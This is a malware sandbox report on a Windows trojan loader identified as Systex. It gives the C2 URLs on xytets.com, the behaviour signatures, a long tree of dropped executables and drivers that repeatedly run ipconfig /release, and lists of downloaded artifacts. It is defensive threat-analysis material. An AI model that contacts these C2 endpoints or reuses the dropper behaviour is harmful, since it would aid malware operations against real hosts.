Analysis
- max time kernel
149s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
20/07/2026, 00:50
General
- Target 2026-07-19_a59eb5cf608ac68ac57ba23865f61de2_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
- Size 376KB
- Sample260720-a7b55sc16w
- SHA256 93303ebbf35acb44fc6171d5447ab9659e82848a87453f412f19f508601e7eae
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba
-
http://xytets.com:2345/t.asp?os=home
-
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 32 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 60 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-19_a59eb5cf608ac68ac57ba23865f61de2_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-19_a59eb5cf608ac68ac57ba23865f61de2_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\rojhbztrljebwuom.exeC:\Temp\rojhbztrljebwuom.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ywqobytrlj.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\ywqobytrlj.exeC:\Temp\ywqobytrlj.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ywqobytrlj.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ywqobytrlj.exeC:\Temp\i_ywqobytrlj.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wqoigbytrl.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\wqoigbytrl.exeC:\Temp\wqoigbytrl.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wqoigbytrl.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_wqoigbytrl.exeC:\Temp\i_wqoigbytrl.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\avtnldbvtn.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\avtnldbvtn.exeC:\Temp\avtnldbvtn.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_avtnldbvtn.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_avtnldbvtn.exeC:\Temp\i_avtnldbvtn.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\icavsnlfdx.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\icavsnlfdx.exeC:\Temp\icavsnlfdx.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_icavsnlfdx.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_icavsnlfdx.exeC:\Temp\i_icavsnlfdx.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\fzxspkicau.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\fzxspkicau.exeC:\Temp\fzxspkicau.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_fzxspkicau.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_fzxspkicau.exeC:\Temp\i_fzxspkicau.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xrpkhcausm.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\xrpkhcausm.exeC:\Temp\xrpkhcausm.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xrpkhcausm.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_xrpkhcausm.exeC:\Temp\i_xrpkhcausm.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kecwupmhfz.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\kecwupmhfz.exeC:\Temp\kecwupmhfz.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kecwupmhfz.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_kecwupmhfz.exeC:\Temp\i_kecwupmhfz.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\uomhezwrpg.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\uomhezwrpg.exeC:\Temp\uomhezwrpg.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_uomhezwrpg.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_uomhezwrpg.exeC:\Temp\i_uomhezwrpg.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dbwtojgbyt.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\dbwtojgbyt.exeC:\Temp\dbwtojgbyt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dbwtojgbyt.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_dbwtojgbyt.exeC:\Temp\i_dbwtojgbyt.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bwqoigbytr.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\bwqoigbytr.exeC:\Temp\bwqoigbytr.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bwqoigbytr.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_bwqoigbytr.exeC:\Temp\i_bwqoigbytr.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\oigaytqljd.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\oigaytqljd.exeC:\Temp\oigaytqljd.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_oigaytqljd.exe ups_ins3⤵
-
C:\Temp\i_oigaytqljd.exeC:\Temp\i_oigaytqljd.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\davtnlfdxv.exe ups_run3⤵
-
C:\Temp\davtnlfdxv.exeC:\Temp\davtnlfdxv.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_davtnlfdxv.exe ups_ins3⤵
-
C:\Temp\i_davtnlfdxv.exeC:\Temp\i_davtnlfdxv.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\spkicausmk.exe ups_run3⤵
-
C:\Temp\spkicausmk.exeC:\Temp\spkicausmk.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_spkicausmk.exe ups_ins3⤵
-
C:\Temp\i_spkicausmk.exeC:\Temp\i_spkicausmk.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\usnkfcxvpn.exe ups_run3⤵
-
C:\Temp\usnkfcxvpn.exeC:\Temp\usnkfcxvpn.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_usnkfcxvpn.exe ups_ins3⤵
-
C:\Temp\i_usnkfcxvpn.exeC:\Temp\i_usnkfcxvpn.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jhczusmkec.exe ups_run3⤵
-
C:\Temp\jhczusmkec.exeC:\Temp\jhczusmkec.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jhczusmkec.exe ups_ins3⤵
-
C:\Temp\i_jhczusmkec.exeC:\Temp\i_jhczusmkec.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hbzurmkecw.exe ups_run3⤵
-
C:\Temp\hbzurmkecw.exeC:\Temp\hbzurmkecw.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hbzurmkecw.exe ups_ins3⤵
-
C:\Temp\i_hbzurmkecw.exeC:\Temp\i_hbzurmkecw.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hbztrmjebw.exe ups_run3⤵
-
C:\Temp\hbztrmjebw.exeC:\Temp\hbztrmjebw.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hbztrmjebw.exe ups_ins3⤵
-
C:\Temp\i_hbztrmjebw.exeC:\Temp\i_hbztrmjebw.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ojgbytrljd.exe ups_run3⤵
-
C:\Temp\ojgbytrljd.exeC:\Temp\ojgbytrljd.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ojgbytrljd.exe ups_ins3⤵
-
C:\Temp\i_ojgbytrljd.exeC:\Temp\i_ojgbytrljd.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dywqoigayt.exe ups_run3⤵
-
C:\Temp\dywqoigayt.exeC:\Temp\dywqoigayt.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dywqoigayt.exe ups_ins3⤵
-
C:\Temp\i_dywqoigayt.exeC:\Temp\i_dywqoigayt.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1524 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\rojhbztrljebwuom.sysC:\Temp\rojhbztrljebwuom.sys1⤵
- Executes dropped EXE
-
C:\Temp\dbvtnlgdyw.sysC:\Temp\dbvtnlgdyw.sys1⤵
- Executes dropped EXE
-
C:\Temp\igaysqlidb.sysC:\Temp\igaysqlidb.sys1⤵
- Executes dropped EXE
-
C:\Temp\qnigaysqki.sysC:\Temp\qnigaysqki.sys1⤵
- Executes dropped EXE
-
C:\Temp\xsqkicavsn.sysC:\Temp\xsqkicavsn.sys1⤵
- Executes dropped EXE
-
C:\Temp\icausmkfcx.sysC:\Temp\icausmkfcx.sys1⤵
- Executes dropped EXE
-
C:\Temp\rpjhczurmk.sysC:\Temp\rpjhczurmk.sys1⤵
- Executes dropped EXE
-
C:\Temp\bwuomgezwr.sysC:\Temp\bwuomgezwr.sys1⤵
- Executes dropped EXE
-
C:\Temp\wrojhbztrm.sysC:\Temp\wrojhbztrm.sys1⤵
- Executes dropped EXE
-
C:\Temp\jgbztrljdb.sysC:\Temp\jgbztrljdb.sys1⤵
- Executes dropped EXE
-
C:\Temp\vtnlgdyvqo.sysC:\Temp\vtnlgdyvqo.sys1⤵
- Executes dropped EXE
-
C:\Temp\nigaysqlid.sysC:\Temp\nigaysqlid.sys1⤵
-
C:\Temp\lfdxvpnifa.sysC:\Temp\lfdxvpnifa.sys1⤵
-
C:\Temp\faxsqkicau.sysC:\Temp\faxsqkicau.sys1⤵
-
C:\Temp\upmhfzxrpk.sysC:\Temp\upmhfzxrpk.sys1⤵
-
C:\Temp\pjhbztrmje.sysC:\Temp\pjhbztrmje.sys1⤵
-
C:\Temp\wtomgeywqo.sysC:\Temp\wtomgeywqo.sys1⤵
-
C:\Temp\oigbytrljd.sysC:\Temp\oigbytrljd.sys1⤵
-
C:\Temp\idbvtnlfdy.sysC:\Temp\idbvtnlfdy.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CreateProcess.exe
avtnldbvtn.exe
bwuomgezwr.sys
dbvtnlgdyw.sys
fzxspkicau.exe
i_avtnldbvtn.exe
i_fzxspkicau.exe
i_icavsnlfdx.exe
i_kecwupmhfz.exe
i_wqoigbytrl.exe
i_xrpkhcausm.exe
i_ywqobytrlj.exe
icausmkfcx.sys
icavsnlfdx.exe
igaysqlidb.sys
kecwupmhfz.exe
qnigaysqki.sys
rojhbztrljebwuom.exe
rojhbztrljebwuom.sys
rpjhczurmk.sys
uomhezwrpg.exe
wqoigbytrl.exe
xrpkhcausm.exe
xsqkicavsn.sys
ywqobytrlj.exe
suggestions[1].en-US
memory/408-156-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/536-45-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1532-124-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1532-130-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1584-74-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2888-145-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4084-62-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4084-128-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4464-33-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4540-152-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4820-160-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4916-98-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5416-86-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5436-137-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5556-14-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5656-120-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5664-141-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5744-21-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5980-106-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/6064-133-0x0000000000010000-0x00000000000AB000-memory.dmp